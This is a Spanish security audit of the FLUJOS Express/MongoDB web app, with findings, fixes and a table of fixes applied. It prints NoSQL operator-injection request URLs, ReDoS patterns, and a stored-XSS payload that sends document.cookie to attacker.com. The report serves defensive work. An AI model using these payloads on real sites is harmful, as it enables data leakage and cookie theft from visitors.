FLUJOS/INFO/DOCS/CONTEXT/SEGURIDAD.md
CAPITANSITO 778db90d78 fix: módulos faltantes wikipedia scraper + docs actualizados
- WIKIPEDIA/main.py: import buscar_articulos y obtener_contenido_wikipedia
- myenv: instalados wikipedia, wikipedia-api, deep-translator
- PIPELINE_MAESTRO.md: tabla de errores conocidos, Nice/CPUQuota, timer 2d
- SEGURIDAD.md: tabla de fixes aplicados en producción

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-22 00:33:50 +02:00

7.1 KiB
Raw Blame History

Informe de Seguridad — FLUJOS

Fecha: 2026-04-21
Auditor: Análisis de código estático + pruebas manuales en local
Scope: API REST (FLUJOS_APP.js), frontend JS, configuración nginx/systemd


Resumen ejecutivo

La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado 2 vulnerabilidades críticas explotables ahora mismo, 3 altas y 2 medias.


Vulnerabilidades encontradas

🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)

Archivo: FLUJOS/BACK_BACK/FLUJOS_APP.js líneas 5772
Estado: CONFIRMADA. Probada manualmente, devuelve datos reales.

Express parsea ?tema[$ne]=nada como el objeto JavaScript { $ne: "nada" }, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.

Vectores explotables:

GET /api/data?tema[$ne]=nada&nodos=500
  → Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)

GET /api/data?tema[$gt]=&nodos=500
  → Equivalente a "todos los documentos donde tema > ''"

GET /api/data?subtematica[$regex]=.*&tema=guerra+global
  → Itera toda la subcolección

GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
  → Fuerza error de tipo, puede revelar stack traces en logs

Fix (10 min):

// En FLUJOS_APP.js, justo después de desestructurar req.query:
function sanitizeParam(val) {
  if (typeof val !== 'string') return undefined;
  return val.trim();
}
const tema         = sanitizeParam(req.query.tema);
const subtematica  = sanitizeParam(req.query.subtematica);
const palabraClave = sanitizeParam(req.query.palabraClave);
const fechaInicio  = sanitizeParam(req.query.fechaInicio);
const fechaFin     = sanitizeParam(req.query.fechaFin);
const nodos        = sanitizeParam(req.query.nodos);
const complejidad  = sanitizeParam(req.query.complejidad);

🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente

Estado: CONFIRMADA. ss -tlnp muestra 0.0.0.0:3000.

Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.

LISTEN 0.0.0.0:3000  → accesible desde internet sin TLS

Fix (1 línea):

// FLUJOS_APP.js línea 235:
app.listen(port, '127.0.0.1', () => { ... });  // era '0.0.0.0'

🟠 ALTA 1 — XSS Almacenado (Stored XSS)

Archivo: FLUJOS/VISUALIZACION/public/output_int_sec.js línea 9092
Archivo: FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html líneas 88, 102

El contenido de nodos (content) proveniente de MongoDB se inserta con innerHTML:

detailPanel.innerHTML = `
  <h2>Detalle</h2>
  <pre>${content || 'No hay contenido disponible.'}</pre>
`;

Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>), se ejecuta en el navegador de todos los visitantes.

Fix:

const pre = document.createElement('pre');
pre.textContent = content || 'No hay contenido disponible.';
const h2 = document.createElement('h2');
h2.textContent = 'Detalle';
detailPanel.replaceChildren(h2, pre);

🟠 ALTA 2 — ReDoS via $regex sin sanitizar

Archivo: FLUJOS_APP.js línea 72

nodesQuery.texto = { $regex: palabraClave, $options: 'i' };

Un patrón como (a+)+$ o (.*a){20} puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).

Fix:

if (palabraClave) {
  if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
    res.status(400).json({ error: 'palabraClave inválida' });
    return;
  }
  // Escapar metacaracteres regex
  const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
  nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
}

🟠 ALTA 3 — Sin rate limiting

No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.

Fix:

npm install express-rate-limit
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
  windowMs: 60 * 1000,  // 1 minuto
  max: 60,              // 60 peticiones por minuto por IP
  standardHeaders: true,
  legacyHeaders: false,
}));

🟡 MEDIA 1 — CSP con unsafe-inline

La CSP actual permite 'unsafe-inline' en scriptSrc. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.

Origen del problema: los <script> inline en los HTML (fade-out del fondo, setTimeout).

Fix: Mover ese JS inline a ficheros .js separados y eliminar 'unsafe-inline' del CSP.


🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto

Solo se usa helmet.contentSecurityPolicy(), dejando otras protecciones de Helmet desactivadas. La cabecera X-Powered-By: Express está visible, revelando el stack.

Fix:

app.use(helmet());                          // activa todo por defecto
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP

Fixes aplicados (2026-04-22)

Todos los ítems críticos y altos han sido corregidos en producción:

# Vulnerabilidad Fix aplicado
1 NoSQL Injection sanitizeParam() + TEMAS_VALIDOS whitelist
2 Puerto 3000 público app.listen(port, '127.0.0.1', ...)
3 XSS stored innerHTML textContent + DOM API en output_int_sec.js y 3dscript_eco-corp.html
4 ReDoS palabraClave Escape de metacaracteres + límite 100 chars
5 Helmet parcial app.use(helmet()) completo + CSP sin unsafe-inline
6 CSRF Filtro Origin en /api/
7 Body flooding bodyParser limit: '10kb'

Pendiente sin fix: Rate limiting (express-rate-limit no instalado).


Lo que está bien

Componente Estado
HTTPS con Let's Encrypt Activo en nginx
MongoDB en 127.0.0.1 No expuesto al exterior
Límite de nodos máx. 500 `Math.min(parseInt(nodos)
Helmet completo Activo desde 2026-04-22
No hay SQL injection BD es MongoDB, no SQL
No directory listing en /wiki-images/ Express static lo rechaza
HTTP → HTTPS redirect Configurado en nginx

Configuración nginx relevante (theflows.net)

/etc/nginx/sites-enabled/theflows.net
├── HTTP :80  → redirect 301 HTTPS
├── HTTPS :443 ssl http2 (Let's Encrypt)
│   ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
│   └── /api/ → proxy_pass http://127.0.0.1:3000/api/

Problema: el backend Node también escucha en 0.0.0.0:3000, así que nginx solo es un proxy opcional, no obligatorio.


Orden de prioridad de fixes

# Vulnerabilidad Impacto Esfuerzo
1 NoSQL Injection CRÍTICO 10 min
2 Puerto 3000 público CRÍTICO 1 línea
3 XSS stored (innerHTML) ALTO 15 min
4 ReDoS via palabraClave ALTO 10 min
5 Rate limiting ALTO 15 min
6 CSP unsafe-inline MEDIO 30 min
7 Helmet completo MEDIO 5 min